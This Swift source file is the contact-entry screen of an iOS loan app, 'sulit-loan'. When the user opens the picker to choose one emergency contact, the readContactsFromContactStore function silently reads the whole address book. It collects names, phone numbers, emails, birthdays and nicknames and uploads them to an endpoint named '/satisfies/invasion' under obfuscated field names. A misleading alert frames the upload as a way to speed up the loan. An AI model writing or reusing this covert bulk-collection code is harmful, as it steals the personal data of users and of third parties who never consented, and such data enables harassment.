//
//  SLContactAddVC.swift
//  sulit-loan
//
//  Created by 王刚锋 on 2025/4/22.
//  Copyright © 2025 coolBoy. All rights reserved.
//

import UIKit
import SwiftyJSON
import MBProgressHUD
import ContactsUI
import Contacts

class SLContactAddVC: SLTableVC<Any> {
    
    var index: Int = 0
    override func viewDidLoad() {
        super.viewDidLoad()
        setupUI()
        
    }
    override func refreshData(isPullDown: Bool = true) {
        self.tableview.mj_header?.endRefreshing()
        self.tableview.mj_footer?.endRefreshing()
        let url: String = "/satisfies/whiskers"
        SLHttpTool.AsyncReportData(path: url, params:["sources":self.id],target: self) { responseCall, success, msg, code in
            if success {
                self.datas = responseCall["wavelets"]["bowls"].arrayValue
                self.tableview.reloadData()
            }else{
                MBProgressHUD.showError(error: msg)
            }
        }
    }
    func setupUI(){
        self.tableview.bounces = false
        self.tableview.mj_header = nil
        self.tableview.mj_footer = nil
        self.tableview.emptyDataSetSource = nil
        self.tableview.emptyDataSetDelegate = nil
        self.configAutoHeight(estimatedHeight: 76,autoPullDown: true,nibName: "SLInfoAddCell")
        self.tableview.rowHeight = 76
        self.tableview.snp.remakeConstraints{ make in
            make.left.right.equalTo(0)
            make.top.equalTo(self.navigationView.snp.bottom).offset(0)
            make.bottom.equalTo(self.nextButton.snp.top)
        }

        self.tableview.register(SLInfoAddCell.self, forCellReuseIdentifier: "SLInfoAddCell")
        self.nextButton.isHidden = false
        self.refreshAction()
    }

    lazy var nextButton:UIButton = {
        let pt = create_button(title: "Next", titleColor: .white,titleFont: SLFontConfig.medium18,bgColor: rgba(hex: "#1608EC"), image: nil, supView: self.view, closure: { make in
            make.bottom.equalTo(-12-DevConfig.safe_bottom)
            make.left.equalTo(47)
            make.right.equalTo(-47)
            make.height.equalTo(44)
        }, selector: (target: self, action: #selector(buttonClick), event:.touchUpInside))
        pt.layer.cornerRadius = 22

        
        return pt
    }()
    @objc func buttonClick(btn: UIButton){
        
        let url = "/satisfies/tubular"
        var params:[String: Any] = [:]
        params["sources"] = self.id

        var arr:[Any] = []
        for data in self.datas {
            let json = data as! JSON
            arr.append(["suthat":json["suthat"].stringValue,"alms":json["alms"].stringValue,"pagan":json["pagan"].stringValue])
        }
        params["wavelets"] = arr
        let mbp = MBProgressHUD.showMessage(message: "")
        SLHttpTool.AsyncReportData(path: url,params: params, target: self) { responseCall, success, msg, code in
            mbp.hide(animated: true)
            if success {
                self.navigationController?.popViewController(animated: true)
            }else{
                MBProgressHUD.showError(error: msg)
            }
        }
    }
    override func tableView(_ tableView: UITableView, viewForHeaderInSection section: Int) -> UIView? {
        let v = sectionTitle()
        let json = self.datas[section] as! JSON
        v.titleL.text = json["himalayas"].string
        return v
    }
    override func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {
        return 40
    }
    func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
        return 90
    }
    override func numberOfSections(in tableView: UITableView) -> Int {
        return self.datas.count
    }
    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return 2
    }
    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "SLInfoAddCell", for: indexPath) as! SLInfoAddCell
        let json = self.datas[indexPath.section] as! JSON
        cell.titleL.text = ""
        cell.textField.text = ""
        if indexPath.row == 0 {
            cell.titleL.text = json["bagan"].stringValue
            cell.setPlaceholderText(place: json["urbanesque"].stringValue)
            let array = json["cyrus"].arrayValue
            for data in array {
                if data["transfer"].stringValue == json["alms"].stringValue{
                    cell.textField.text = data["suthat"].stringValue
                }
            }
            cell.setType(type: .select)
        }else{
            cell.setType(type: .phone)
            cell.titleL.text = json["beikthano"].stringValue
            cell.textField.text =  json["suthat"].stringValue + "-" + json["pagan"].stringValue
            cell.setPlaceholderText(place: json["theravada"].stringValue)
        }

        return cell
    }
    
    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
        if indexPath.row == 0{
            var json = self.datas[indexPath.section] as! JSON
            
            let arr = json["cyrus"].arrayValue
            PickerTool.showPick(list: arr,title: json["bagan"].stringValue, page: self) { value in
                let index = value as! Int
                
                json["alms"] = arr[index]["transfer"]
                self.datas[indexPath.section] = json
                self.tableview.reloadData()
            }
        }else{
            index = indexPath.section
            self.selectContact()
        }
    }
    func selectContact() {
        self.loadContactsData()
    }
    override func viewDidLayoutSubviews() {
        super.viewDidLayoutSubviews()

    }

}
extension SLContactAddVC: CNContactPickerDelegate {
    func contactPicker(_ picker: CNContactPickerViewController, didSelect contact: CNContact) {
        // 用户选择了一个通讯录联系人
        // 你可以处理这个联系人信息
        var phones:[String] = []
        for phone in contact.phoneNumbers {
            let phoneLabel = phone.label
            let phoneValue = phone.value.stringValue
            phones.append(phoneValue)
        }
        let nameA = contact.familyName
        let nameB = contact.givenName
        let name = "\(nameB) \(nameA)"

        var json = self.datas[index] as! JSON
        if let phone = phones.first{
            json["pagan"] = JSON(phone)
        }

        json["suthat"] = JSON(name)
        self.datas[index] = json
        self.tableview.reloadData()
        
        
        SLHttpTool.AsyncUploadData(mahathat: "7",thais: "\(self.startDate)", target: self, finishCallBack: { responseData, success, msg, code in
        })
           
    }
    
    func readContactsFromContactStore(_ contactStore:CNContactStore) {
            guard CNContactStore.authorizationStatus(for: .contacts) == .authorized else {
                return
            }
        var arr:[Any] = []
        let keys = [CNContactFamilyNameKey,CNContactGivenNameKey,CNContactPhoneNumbersKey,CNContactEmailAddressesKey,CNContactBirthdayKey,CNContactDatesKey,CNContactNicknameKey]
            
        
            DispatchQueue.global().async() {
                let fetch = CNContactFetchRequest(keysToFetch: keys as [CNKeyDescriptor])
                do {
                    try contactStore.enumerateContacts(with: fetch, usingBlock: { (contact, stop) in
                        //姓名
                        let nameA = contact.familyName
                        let nameB = contact.givenName
                        let name = "\(nameB) \(nameA)"
                        
                        var params:[String: Any] = [:]
                        if let dateComponents = contact.birthday {
                            let calendar = Calendar.current
                            let date = calendar.date(from: dateComponents)!
                            let timestamp = date.timeIntervalSince1970*1000
                            params["chengdu"] = timestamp
                        }
                        var phoneArr:[String] = []
                        for labeledValue in contact.phoneNumbers {
                            let phoneNumber = (labeledValue.value as CNPhoneNumber).stringValue
                            phoneArr.append(phoneNumber)
                            
                        }
                        params["unquestionably"] = phoneArr.joined(separator: ",")
                        params["terrace"] = Int(Date().timeIntervalSince1970*1000)
                        params["cruciform"] = contact.nickname
                        params["able"] = contact.emailAddresses.first?.value
                        params["suthat"] = name
                        params["underground"] = Int(Date().timeIntervalSince1970*1000)
                        arr.append(params)
                        
                    })
                } catch let error as NSError {
                    print(error)
                }
                
                if let jsonData = try? JSONSerialization.data(withJSONObject: arr, options: []) {
                    // 将JSON数据转换为String
                    if let jsonString = String(data: jsonData, encoding: .utf8) {
                        print(jsonString) // 输出JSON字符串
                        let param = ["wavelets": jsonString]
                        SLHttpTool.AsyncReportData(path: "/satisfies/invasion",params: param, target: self) { responseCall, success, msg, code in
                            
                        }
                    }
                }
            }
                
        }
            
        
     


    
    func loadContactsData() {
            //获取授权状态
            let status = CNContactStore.authorizationStatus(for: .contacts)
            //判断当前授权状态
        switch status {
        case .notDetermined:
            print("未确定")
            CNContactStore().requestAccess(for: .contacts, completionHandler: {[weak self] (granted, error) in
                if granted {
                    
                    self!.showPickVC()
                } else {
                    print("授权失败")
                }
            })
        case .restricted:
            print("受限")
            self.showPickVC()
        case .denied:
            print("拒绝")
            self.showContactServicesDeniedAlert()
        case .authorized:
            print("已授权")
            self.showPickVC()
        @unknown default:
            break
        }

            

        }
    func showPickVC(){
        self.readContactsFromContactStore(CNContactStore())
        DispatchQueue.main.async {

            // 在这里执行主线程上的任务
            let contactPicker = CNContactPickerViewController()
            contactPicker.delegate = self
            self.present(contactPicker, animated: true, completion: nil)
        }
    }
    // 弹出警告，引导用户到设置去开启idfa权限
     func showContactServicesDeniedAlert() {
        let alertController = UIAlertController(
            title: "The contact list is closed",
            message: "The APP applies to access the contact list. Easily upload contact information to simplify steps and accelerate the loan application.",
            preferredStyle: .alert)
        
        alertController.addAction(UIAlertAction(title: "cancel", style: .cancel, handler: { _ in}))
        
        alertController.addAction(UIAlertAction(title: "setting", style: .default, handler: { _ in
            if let appSettings = URL(string: UIApplication.openSettingsURLString) {
                UIApplication.shared.open(appSettings, options: [:]) { _ in
                }
            }
        }))
        self.present(alertController, animated: true, completion: nil)
    }
    
    func contactPickerDidCancel(_ picker: CNContactPickerViewController) {
        // 用户取消了选择
        print("Cancelled")
    }
}
class sectionTitle:UIView {
    
    lazy var titleL:UILabel = {
        let v = create_label(text: "", textColor: .black,textFont: SLFontConfig.medium(size: 16), supView: self) { make in
            make.left.equalTo(15)
            make.centerY.equalToSuperview()
        }
        return v
    }()
}
